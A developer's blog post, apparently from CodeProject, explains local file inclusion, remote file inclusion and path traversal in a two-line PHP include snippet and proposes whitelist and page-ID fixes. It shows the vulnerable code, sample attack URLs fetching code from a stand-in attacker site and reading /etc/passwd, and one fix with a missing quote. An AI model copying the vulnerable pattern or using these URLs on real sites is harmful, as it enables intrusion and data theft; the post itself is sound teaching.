Click here to Skip to main content
15,887,175 members
Articles / Programming Languages / PHP
Technical Blog

File Injection and Path Traversal Vulnerabilities

Rate me:
Please Sign up or sign in to vote.
5.00/5 (1 vote)
12 Mar 2024CPOL3 min read 1.3K   2   1
A look at some injection-style vulnerabilities
This post reviews a couple of injection-style vulnerabilities in an innocent-looking little snippet. Though PHP is used in this example, the same vulnerabilities could exist in any web application, regardless of the language being used.

Following on from my last post where we looked at Newline Injection, today I wanted to review a couple of other injection-style vulnerabilities in what might be an innocent-looking little snippet. I’ll be using PHP in this example, but these same vulnerabilities could exist in any web application, regardless of the language being used. Imagine a blog, online store or other simple-ish application with urls looking something like:

  • https://my-site.com/?page=home.php
  • https://my-site.com/?page=about.php
  • https://my-site.com/?page=post-2024-01-02-03.php

Internally, we could have an index.php file with something similar to:

PHP
<?php
    $page = $_GET['page'];
    include($page);

I imagine that most of you are gasping in horror at the blatantly obvious security hole here. Or if you’re starting out in your career, or haven’t specifically read up on injection vulnerabilities, the security hole may not be so obvious. I can certainly forgive you if that’s the case, and I’ll admit that I almost certainly would have written something like this in my younger years. For the more experienced reader though, I’ll ask a different question - how many security vulnerabilities can you spot here? Spoiler alert: There are 3 vulnerabilities in 2 lines of code.

Image 1

Local File Injection

Since the vulnerable code is including any file specified in the GET parameter, a malicious user could specify any local file on the server and have its contents executed by the PHP interpreter (or returned as output). For example, imagine an XML database sitting in the same directory as the index file. An attacker could gain access to said database just by loading https://my-site.com/?page=database.xml in their browser.

As for executing malicious code - chances are there isn’t any malicious code already on the remote server. But if the application included an upload file feature, a user could upload malicious-code.php and then execute it by navigating to https://my-site.com/?page=malicious-code.php.

Remote File Injection

Okay - let’s say that there isn’t an upload feature, and the attacker really wanted to run some malicious code on the server. Another thing they could try is to:

  1. Upload some malicious code to a server that they control
  2. Navigate to https://my-site.com/?page=http://attackers-site.com/malicious-code.php

When I tried this in a local XAMPP installation, I got:

Warning: include(): http:// wrapper is disabled in the server configuration by allow_url_include=0 in <path-to-ini-file>

So thankfully the default config prevents remote file execution by default, but that may not always be the case, and it’s probably a good idea to assume that the config has this enabled, and to protect against Remote File Injection in the application logic as well.

Path Traversal

There’s one last vulnerability here - Path Traversal. Imagine navigating to some urls like the following:

  • https://my-site.com/?page=../../etc/php.ini - a relative path, to obtain the PHP configuration
  • http://my-site.com/?page=/etc/passwd - an absolute path, to obtain information about user accounts on the server

This exploit basically allows the attacker to navigate to files outside of the web server’s directory (e.g.: htdocs) to either view or execute files that they normally should not be able to access.

Prevention?

There are a few ways to deal with all three of these vulnerabilities, but at their core, I think that all of them (along with almost all other injection attacks) can be prevented by following the maxim of never trust user input. That is, if we come back to our snippet:

PHP
<?php
    $page = $_GET['page'];
    include($page);

Since a GET parameter, POST parameter, route parameter, HTTP header, etc. can all be tampered with by the user, we should treat them as suspicious by default. Some options for workarounds might be:

  1. Store a whitelist of permitted files, and validate the user-submitted input (i.e., - the GET param) against the whitelist before including it. Example:
    PHP
    <?php
        $page = $_GET['page];
        if (!is_in_whitelist($page))
            die('Wicked! Tricksy! False!');
    
        include($page);
  2. Or even better, instead of accepting a filename in the GET param, accept a page ID, and look up the filename in a lookup table or database based on the provided page ID. Example:
    PHP
    <?php
        $page_id = $_GET['page_id'];
        $page = get_page_by_id($page_id);
        if (!$page)
            die('Wicked! Tricksy! False!');
    
        include($page);

Useful Reading

  1. Testing for Local File Inclusion
  2. Testing for Remote File Inclusion
  3. Path Traversal

And that’s about it! Have I missed any vulnerabilities here, or do you have any other advice for prevention? Let me know in the comments.

Catch ya!

License

This article, along with any associated source code and files, is licensed under The Code Project Open License (CPOL)


Written By
Software Developer (Senior)
Australia Australia
G'day guys! My name is Jason, and I'm a backend software engineer living in Sydney, Australia. I enjoy blogging, playing chess and travelling.

Comments and Discussions

 
GeneralMy vote of 5 Pin
Ștefan-Mihai MOGA13-Mar-24 6:55
professionalȘtefan-Mihai MOGA13-Mar-24 6:55 

General General    News News    Suggestion Suggestion    Question Question    Bug Bug    Answer Answer    Joke Joke    Praise Praise    Rant Rant    Admin Admin   

Use Ctrl+Left/Right to switch messages, Ctrl+Up/Down to switch threads, Ctrl+Shift+Left/Right to switch pages.